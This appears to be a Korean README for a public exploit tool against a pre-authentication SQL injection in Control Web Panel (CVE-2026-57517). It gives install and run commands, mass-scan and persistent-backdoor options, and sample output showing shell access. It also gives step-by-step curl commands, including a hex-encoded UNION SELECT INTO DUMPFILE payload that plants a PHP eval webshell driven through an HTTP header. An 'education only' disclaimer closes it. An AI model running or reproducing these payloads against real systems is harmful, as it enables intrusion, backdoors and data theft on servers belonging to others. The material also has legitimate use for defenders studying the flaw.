
💉 블라인드 SQL 인젝션 → Control Web Panel(CWP) ≤ 0.9.8.1224용 RCE 익스플로잇 — userRes POST → INTO DUMPFILE → cwpsvc 셸
CVE-2026-57517은 Control Web Panel(CWP) 버전 ≤ 0.9.8.1224에서 발생하는 치명적인 사전 인증(pre-authentication) 블라인드 SQL 인젝션 취약점입니다. 사용자 패널 엔드포인트의 userRes POST 파라미터는 SQL 쿼리에 포함되기 전에 검증되지 않습니다. 쿼리는 전역 FILE 권한을 보유한 MySQL root 권한으로 실행되므로, 공격자는 INTO DUMPFILE을 통해 임의의 파일을 작성할 수 있습니다.
일반적인 공격 체인은 웹에서 접근 가능한 Roundcube 로그 디렉터리에 PHP 웹셸을 배포하여 cwpsvc 서비스 계정으로 원격 코드 실행을 달성합니다.
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2026-57517 |
| CVSS | 9.8 (치명적) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 유형 | CWE-89 — 블라인드 SQL 인젝션(사전 인증) |
| 영향받는 버전 | Control Web Panel ≤ 0.9.8.1224 |
| 수정 버전 | 버전 0.9.8.1225 |
| 공개일 | 2026년 7월 1일 |
| 연구자 | Egidio Romano (Karma In Security) |
| PoC | 공개 — KIS-2026-12 |
git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt
# Single target (auto-detect username)
python cve_2026_57517.py -t 192.168.1.100
# Single target with known username
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc
# Mass scan
python cve_2026_57517.py -f targets.txt -o live.txt
# Interactive shell
python cve_2026_57517.py -t target.com --rce -u cwpsvc
# Persistent backdoor (no auto-cleanup)
python cve_2026_57517.py -t target.com --no-cleanup
-t, --target Single target host
-f, --file File with targets (one per line)
-u, --username CWP username (skips auto-detection)
-o, --output Live TXT output file
--json JSON report file
--threads Concurrent workers (default: 20)
--timeout Request timeout seconds (default: 15)
--no-cleanup Leave shells on target
--rce Interactive shell mode
-v, --verbose Verbose output
$ python cve_2026_57517.py -f targets.txt -o live.txt -v
────────────────────────────────────────────────────────────
CVE-2026-57517 | 5 targets | 20 threads
Cleanup: yes
Live TXT: live.txt
────────────────────────────────────────────────────────────
✅ 192.168.10.100:2083 [rce_confirmed] 18.2s
User : admin
Shell : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
RCE : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp-prod-01.example.com
whoami: cwpsvc
⚠️ 192.168.10.200:2083 [sqli_failed] 12.1s
User : cwpsvc
Error : SQL injection failed — target may be patched or path not writable
· 192.168.10.50:2083 [not_cwp] 2.3s
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE : 2
⚠️ SQLi Fail : 1
🔍 No User : 1
· Not CWP : 1
==================================================
$ python cve_2026_57517.py -t target.com --rce -u admin
CWP Interactive Shell — target.com
Type 'exit' to quit, 'cleanup' to remove shell
cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp$ hostname
cwp-prod-01
cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash
cwp$ exit
1단계 — 포트 2083에서 CWP 접근 가능 여부 확인
curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'
2단계 — 사용자 이름 검증
curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = user exists
3단계 — userRes를 통한 SQL 인젝션
페이로드는 13열 UNION SELECT를 사용하며, INTO DUMPFILE을 통해 기록되는 hex 인코딩 PHP 셸을 포함합니다:
" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #
# The tool handles hex encoding automatically. Manual equivalent:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'
curl -sk 'https://target.com:2083/admin/' \
-d "userRes=$PAYLOAD"
4단계 — 웹셸을 통한 명령 실행(포트 2031)
배포된 PHP 셸은 C: HTTP 헤더에서 명령을 읽습니다:
<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>
# Base64-encode: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)
curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)
| 구성 요소 | 값 |
|---|---|
| SQL 열 | 13열 UNION SELECT |
| PHP 셸 | <?php eval(base64_decode($_SERVER['HTTP_C'])); ?> |
| Hex 인코딩 | MySQL 0x... hex 리터럴 |
| 기록 방식 | INTO DUMPFILE(바이너리 정확 파일 기록) |
| 대상 경로 | /usr/local/cwpsrv/var/services/roundcube/logs/{uniqid}.php |
| 명령 전달 | base64 인코딩된 PHP가 포함된 HTTP 헤더 C: |
| 명령 실행기 | passthru(base64_decode('{cmd}')) |
🚨 교육 및 승인된 테스트 목적으로만 사용하십시오
이 소프트웨어는 교육 목적 및 합법적인 보안 연구를 위해서만 제공됩니다. 다음의 사용자를 대상으로 합니다:
- 🛡️ 승인된 침투 테스트를 수행하는 보안 전문가
- 🏢 자체 CWP 인프라를 감사하는 조직
- 🔬 취약점 공격 기법을 연구하는 연구자
- 🎓 웹 애플리케이션 보안을 배우는 학생
❌ 이 소프트웨어를 다음 목적으로 사용해서는 안 됩니다:
- 명시적인 서면 승인 없이 컴퓨터 시스템에 접근하는 행위
- 소유하지 않은 시스템을 손상, 훼손 또는 방해하는 행위
- 모든 종류의 불법 활동에 참여하는 행위
⚖️ 법적 고지
승인되지 않은 컴퓨터 시스템 접근은 다음을 포함하되 이에 국한되지 않는 법률을 위반합니다:
- 미국: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- 인도네시아: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- 유럽 연합: Directive 2013/40/EU
- 영국: Computer Misuse Act 1990
저자는 본 도구의 사용으로 인해 발생하는 오용, 손상 또는 법적 결과에 대해 어떠한 책임도 지지 않습니다. 본 소프트웨어를 사용함으로써 귀하는 자신의 행동에 전적인 책임이 있음을 인정하며 모든 관련 법률을 준수하는 데 동의합니다.
| 리소스 | 링크 |
|---|---|
| Karma In Security 보안 권고 | KIS-2026-12 |
| 원본 PoC | CVE-2026-57517.php |
| 전체 공개(Full Disclosure) | SecLists |
| OpenCVE | CVE-2026-57517 |
| CWP 변경 로그 | control-webpanel.com |
⚡ 보안 연구 및 교육을 위해 제작됨 ⚡
이 프로젝트는 Control Web Panel 또는 Apache Software Foundation과 관련이 없습니다.